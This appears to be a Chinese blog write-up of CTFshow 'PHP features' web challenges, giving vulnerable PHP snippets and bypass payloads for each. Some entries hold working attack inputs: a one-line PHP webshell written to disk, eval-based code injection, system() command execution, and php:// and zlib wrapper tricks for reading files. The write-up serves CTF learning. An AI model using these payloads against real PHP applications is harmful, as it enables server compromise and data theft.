CTFshow——web入门——php特性(上篇)

web89

题目

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

题解
在这里插入图片描述
数组绕过正则表达式
payload:

num[]=a

web90

题目

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

题解
在这里插入图片描述
传入八进制或者十六进制
payload:

num=010574
num=0x117c
num=4476a

intval()函数如果 b a s e 为 0 , 则 base为0,则 base0var中存在字母的话遇到字母就停止读取,
传入4476

intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制
intval(' 010574')===4476   8进制+空格

web91

题目

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono

题解
正则匹配
URL编码

i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

g
全局匹配,查找所有匹配项

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行; 

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; 
if(preg_match('/^php$/im', $a))

这个if的意思是匹配$a开头和结尾是php,如果是php,进入下一个if

/^php$/im ^表示开头 $表示结尾 /i不区分大小写 /m表示多行匹配

if(preg_match('/^php$/i', $a))

这个if的意思是匹配$a开头和结尾是php,不区分大小写,如果开头是php,那么就输出hacker
payload

cmd=a%0aphp   %0a是换行符

a%0aphp,首先是preg_match中的$(匹配结尾)匹配a%0aphp中的换行符,这个时候会匹配到%0a(将%0a当作换行),那么a%0aphp后面的php因为preg_match函数有个/m(匹配多行)就是单独的一行了,满足第一个if,要求行开始和结尾都是php

其次是第二个if,第二个if要求$a中开头和结尾没有php,而这个preg_match函数中没有/m匹配多行,所以就直接匹配aa不满足第二个if,所以输出flag

web92

题目

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

题解
弱比较
4476a无法绕过 if($num==4476),可以使用八进制、十六进制以及科学计数法
payload:

num=010574
num=0x117c
num=4476e1

web93

题目

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

题解
payload:

num=010574
num=4476.1

web94

题目

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

题解
if(preg_match("/[a-z]/i", $num))过滤了字符
在这里插入图片描述
strpos()绕过可以在前边多加一个字符
if(!strpos($num, "0"))用空格或%0a进行绕过
payload:

num= 010574       空格+八进制
num=4476.0
num=%0a010574
num=+4476         正负号

web95

题目

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

题解
payload:

num=+010574
num=%20010574  //%20为空格
num=%0a010574

web96

题目

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

题解

u=/var/www/html/flag.php    //绝对路径
u=./flag/php                //相对路径
u=php://filter/resource=flag.php  //php伪协议

web97

题目

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

题解
强比较
这里===的强比较,利用MD5为0e开头的做法是不行的
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。
payload:

a[]=1&b[]=2

web98

题目

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

题解
三目运算符

$_GET?$_GET=&$_POST:'flag';

如果get传了一个值,那么就可以用post覆盖get中的值。
中间两行意义不大,我们不提交flag参数

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag),否则highlight_file(__FILE__)
payload:

?a=a
HTTP_FLAG=flag   //POST

web99

题目

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

题解
php弱类型比较
设置$allow数组,向数组里添加rand产生的随机数,范围从1到36…877。

 in_array()数组函数

在这里插入图片描述

返回值
如果找到 needle 则返回 true,否则返回 false。

题目中没有指定in_array()第三个参数,可以构成弱比较。就是可以形成自动转换:n=1.php自动转换为1。
就是我们传入n=1.php,$allow数组中有1的话则in_array()返回Ture,然后可以用file_put_contents函数把数据写入文件中。
payload:

n=1.php
content=<?php eval($_POST[1]);?> //POST

访问然后执行命令。

web100

题目

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

题解
is_numeric()函数用来检测变量是否为数字或数字字符串。
因此v0为数字,v2中不能有;,v3中要有;
php运算优先级 &&> = > and,所以保证v0=true就可以了v1=1&v2=print_r(scandir('.'))&v3=;查看一下目录,一个一个访问,发现flag在ctfshow.php里
payload:

v1=1&v2=print_r(file('ctfshow.php'))&v3=;

也可以直接命令执行
payload:

v1=1&v2=eval($_POST[1])?>&v3=;

蚁剑连接找flag。

web101

题目

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

题解
php反射类ReflectionClass 类
在这里插入图片描述
Reflectionclass类 也就是说当我们输入一个数据,经过逻辑反射选择需要的类
ReflectionClass类
payload:

v1=1&v2=echo new ReflectionClass&v3=;

少了一位,挨个试一下…

web102

题目

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 14

Notice: Undefined index: v2 in /var/www/html/index.php on line 15

Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

题解
call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数

file_put_contents() 函数写入内容到文件中,第一个参数是文件名,第二个参数是内容

substr() 返回字符串的子串

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
在这里插入图片描述
在这里插入图片描述

我们要构造一个方法来处理我们传出的数字,用hex2bin()函数来处理。
v1没有被过滤,v1要调用传出v2后面的开始的第三位数字,我们要填充两个无用字符给v2,v1通过调用函数,来返回一个字符串,然后把字符串写入到当前目录。
先返回v2,通过调用v1函数中$s的字串,也就是v2中从第三位开始的数字,然后返回一个字符串,最后写入到v3。

v2读取目录:<?=cat *;先经过base64编码,然后转为十六进制,最后在前面添两个数字:115044383959474e6864434171594473

payload:

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php

v1=hex2bin #POST

web103

题目

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 14

Notice: Undefined index: v2 in /var/www/html/index.php on line 15

Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

题解
解题和上题一样。

web104

题目

<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}



?>

题解
sha1()函数是对明文密码加密,只需让v1和v2加密后的值相等即可,sha1()函数无法处理数组类型。也可直接用数组进行绕过。
payload:

v2=a0b923820dcc509a
v1=a0b923820dcc509a  #POST

v2[]=
v1[]=    #POST

web105

题目

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>
你还想要flag嘛?

题解
GET中不能覆盖error、POST中不能覆盖flag
这题骚操作,我们可以通过变量覆盖打印变量$error的值来输出flag

die($suces);
$error$suces$flag  通过这三个变量变量覆盖

payload:

suces=flag
error=suces   #POST

web106

题目

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}



?>

题解
解题和web104一样。

v2[]=a
v1[]=     #POST

web107

题目

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

?>

题解

parse_str()函数:

parse_str — 将字符串解析成多个变量

parse_str(string $string, array &$result): void
如果 string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

参数:
string
输入的字符串。

result
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。
没有返回值

例子:

$str = "first=value&arr[]=foo+bar&arr[]=baz";

// 推荐用法
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

我们可以使v3进行数组绕过md5,让v3返回NULL,即flag为NULL,payload:

v3[]=
v1=flag  #POST

也可以传v3=1,让flag的md5值为1,payload:

v3=1
v1=flag=c4ca4238a0b923820dcc509a6f75849b   #POST

web108

题目

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>
error

题解

ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的
strrev() 函数反转字符串。
intval() 函数用于获取变量的整数值

%00可以截断ereg()函数的搜索,正则表达式只会匹配%00之前的内容,后面的内容被截断。
payload:

c=a%00778

web109

题目

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

题解
初始化$v1类,$v2()是传入这个类的参数,那么$v1是一个内置类,我们只需要构造一个内置类就可以了,随便找一个内置类,payload:

v1=stdclass&v2=system('tac fl36dg.txt')

web110

题目

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

题解
正则过滤了大部分符号,只能为纯字母,我们利用FilesystemIterator继承类,可以新建FilesystemIterator类,使用getcwd()来显示当前目录下的文件结构,

getcwd()
getcwd — 取得当前工作目录
getcwd(void):string

payload:

v1=FilesystemIterator&v2=getcwd

web111

题目

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    

    
}

?>

题解
php超全局变量$GLOBALS的使用

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

$v2是局外变量,我们需要把$v2传进去,可以让全局变量$GLOBALS赋值给$v2使全局变量输出,payload:

v1=ctfshow&v2=GLOBALS

web112

题目

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

题解

is_file() 函数检查指定的文件名是否是正常的文件

我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。
payload:

file=php://filter/resource=flag.php

is_file函数可以使用包装器 伪协议来绕过,使文件正常读取,不影响file_get_contents、highlight_file读文件
在这里插入图片描述

web113

题目

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

题解
filter也过滤了,可以使用zlib,也可以使用目录溢出payload:

file=compress.zlib://flag.php
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

web114

题目

<?php

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 师傅们居然tql都是非预期 哼!

题解
filter放出来了,payload:

file=php://filter/resource=flag.php

highlight_file不能返回数组

web115

题目

<?php

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

题解

  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值